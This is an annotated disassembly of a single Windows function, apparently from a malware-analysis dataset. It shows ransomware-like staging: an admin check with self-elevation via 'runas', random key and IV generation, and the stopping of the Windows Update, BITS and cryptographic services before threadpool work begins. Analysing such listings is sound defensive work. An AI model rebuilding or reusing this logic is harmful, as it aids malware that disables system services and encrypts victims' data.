Function at 0x140001f70
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Generate random numbers via winapi
Get token membership
Stop service
Terminate process

Disassembly:
push rbx
push r13
sub rsp, 0x2a8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r13, rdx
cmp ecx, 2
jge 0x140002119
xor ebx, ebx
mov word [rsp + 0x104], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x100]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
mov r8d, 0x20
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x100], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000200f
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x60], ebx
jne 0x1400020d9
mov r8d, 0x104
lea rdx, [rsp + 0x160]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400020d9
xor eax, eax
mov dword [rsp + 0x90], 0x70
vpxor xmm0, xmm0, xmm0
vmovups ymmword [rsp + 0x94], ymm0
mov qword [rsp + 0xf4], rax
lea rcx, [rsp + 0x90]
mov dword [rsp + 0xfc], eax
lea rax, str.runas
vmovups ymmword [rsp + 0xb4], ymm0
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0xa8], rax
lea rax, str.__foodsum
mov qword [rsp + 0xb0], rax
vmovups ymmword [rsp + 0xd4], ymm0
mov qword [rsp + 0x98], rbx
mov dword [rsp + 0xc0], ebx
vzeroupper
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x1400020d0
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, qword [r13]
lea r9, [0x140006098]
mov dword [rsp + 0x28], ebx
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002480
add rsp, 0x2a8
pop r13
pop rbx
ret
mov r9d, 0x18
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [rsp + 0x100]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140002457
mov rcx, qword [rsp + 0x100]
lea r8, [rsp + 0x138]
mov qword [rsp + 0x2a0], r12
mov edx, 0x20
vmovaps xmmword [rsp + 0x280], xmm6
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x100]
lea r8, [rsp + 0x128]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x100]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
vmovdqu ymm0, ymmword [0x140004500]
vpxor ymm0, ymm0, ymmword [rsp + 0x138]
vmovdqu xmm6, xmmword [0x1400044f0]
vmovdqu ymmword [rsp + 0x138], ymm0
vpxor xmm0, xmm6, xmmword [rsp + 0x128]
vmovdqu xmmword [rsp + 0x128], xmm0
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x138]
vzeroupper
call fcn.140001d20
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
xor ebx, ebx
mov r12, rax
test rax, rax
je 0x1400022d4
mov qword [rsp + 0x2c0], rsi
lea rax, str.wuauserv
mov qword [rsp + 0x70], rax
mov esi, ebx
lea rax, str.bits
mov qword [rsp + 0x2d0], rdi
mov qword [rsp + 0x298], r14
lea r14, [rsp + 0x70]
mov qword [rsp + 0x78], rax
lea rax, str.cryptsvc
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x290], r15
mov r15, qword [r14]
mov r8d, 0x24
mov rdx, r15
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
je 0x1400022a0
lea r8, [rsp + 0x108]
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x140002297
mov rdx, r15
lea rcx, str.s__s_st._n
call fcn.140001060
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
inc esi
add r14, 8
cmp esi, 3
jb 0x140002251
mov r15, qword [rsp + 0x290]
mov rcx, r12
mov r14, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2d0]
mov rsi, qword [rsp + 0x2c0]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
vmovdqu ymm0, ymmword [0x140004500]
vpxor ymm0, ymm0, ymmword [rsp + 0x138]
vpxor xmm1, xmm6, xmmword [rsp + 0x128]
vmovdqu ymmword [rsp + 0x138], ymm0
vmovdqu xmmword [rsp + 0x128], xmm1
xor ecx, ecx
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateThreadpool]
mov r12, qword [rsp + 0x2a0]
mov qword [0x140006910], rax
vmovaps xmm6, xmmword [rsp + 0x280]
test rax, rax
jne 0x140002348
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.tpcf:__d_n
call fcn.140001060
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_CreateThreadpoolCleanupGroup]
mov qword [0x140006908], rax
mov rcx, rax
test rax, rax
jne 0x14000238a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.pf:__d_n
call fcn.140001060
mov rcx, qword [0x140006910]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rax, qword [0x140006910]
lea r8, [0x140006080]
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [0x1400068e0], xmm0
mov qword [0x1400068c8], rax
mov dword [0x1400068c0], 3
mov qword [0x1400068f0], rbx
mov dword [0x1400068f8], ebx
mov dword [0x1400068fc], 1
mov dword [0x140006900], 0x48
mov qword [0x1400068d0], rcx
mov qword [0x1400068d8], rbx
mov rax, qword [r13 + 8]
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002403
inc rax
test ecx, ecx
jne 0x1400023f0
test edx, edx
jne 0x14000244d
lea rdx, [rsp + 0x128]
lea rcx, [rsp + 0x138]
call fcn.140001800
mov rcx, qword [0x140006908]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroupMembers]
mov rcx, qword [0x140006908]
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
mov rcx, qword [0x140006910]
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
jmp 0x1400020fc
mov eax, 1
jmp 0x1400020fe
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3